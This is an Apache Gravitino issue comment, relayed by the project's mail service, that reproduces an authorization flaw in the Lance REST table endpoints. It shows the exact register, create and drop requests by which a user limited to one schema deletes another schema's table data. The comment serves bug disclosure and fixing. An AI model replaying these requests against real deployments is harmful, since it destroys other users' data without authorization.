markhoerth commented on issue #13696:
URL: https://github.com/apache/gravitino/issues/13696#issuecomment-6697633470
Reproduced again on main at commit 463296caca4082133bf12bad2bd4ed5d2572933e
(2.0.0-SNAPSHOT) with authorization enabled. The 2.0 OSS test suite checks
`test_register_at_another_tables_location_cannot_delete_its_data` and
`test_create_over_another_schemas_directory_cannot_delete_its_data` fail. Both
paths still behave as the previous comment describes: the location is not
checked against a scope or against the locations of other tables.
Setup: lakehouse-generic catalog `repro_lcat` (location
`file:///tmp/repro_lcat`) in the Lance REST metalake, schemas `victim_s` and
`mine_s` and tables `victim_s.vt` and `victim_s.vt2` created by `admin`. User
`repro_bob` holds `USE_CATALOG` on the catalog and `USE_SCHEMA`, `CREATE_TABLE`
on `mine_s` only, and `describe` on `victim_s.vt` returns 403 for that user.
```
POST /lance/v1/table/repro_lcat$mine_s$copy/register (as repro_bob)
{"location":"file:///tmp/repro_lcat/victim_s/vt/"}
HTTP 200
{"location":"file:///tmp/repro_lcat/victim_s/vt/","properties":{"lance.register":"true","format":"lance","external":"true",...}}
POST /lance/v1/table/repro_lcat$mine_s$copy/drop (as repro_bob)
HTTP 200
```
`/tmp/repro_lcat/victim_s/vt` no longer exists afterwards.
```
POST /lance/v1/table/repro_lcat$mine_s$over/create (as repro_bob)
Content-Type: application/vnd.apache.arrow.stream
x-lance-table-location: file:///tmp/repro_lcat/victim_s/
HTTP 200
{"location":"file:///tmp/repro_lcat/victim_s/","version":1,...,"properties":{"format":"lance","external":"true",...}}
POST /lance/v1/table/repro_lcat$mine_s$over/drop (as repro_bob)
HTTP 200
```
The whole `/tmp/repro_lcat/victim_s/` directory, including `vt2`, no longer
exists afterwards.
Code at this commit: create takes the header as the table location at
`lance/lance-common/src/main/java/org/apache/gravitino/lance/common/ops/gravitino/GravitinoLanceTableOperations.java:187-188`
with no scope check, the drop calls `purgeTable` at line 356 of that file, and
`LanceTableOperations.purgeTable` drops the dataset of an external table too
(`catalogs/catalog-lakehouse-generic/src/main/java/org/apache/gravitino/catalog/lakehouse/lance/LanceTableOperations.java:305-327`,
`Dataset.drop` at line 388).
--
This is an automated message from the Apache Git Service.
To respond to the message, please log on to GitHub and use the
URL above to go to the specific comment.
To unsubscribe, e-mail: [email protected]
For queries about this service, please contact Infrastructure at:
[email protected]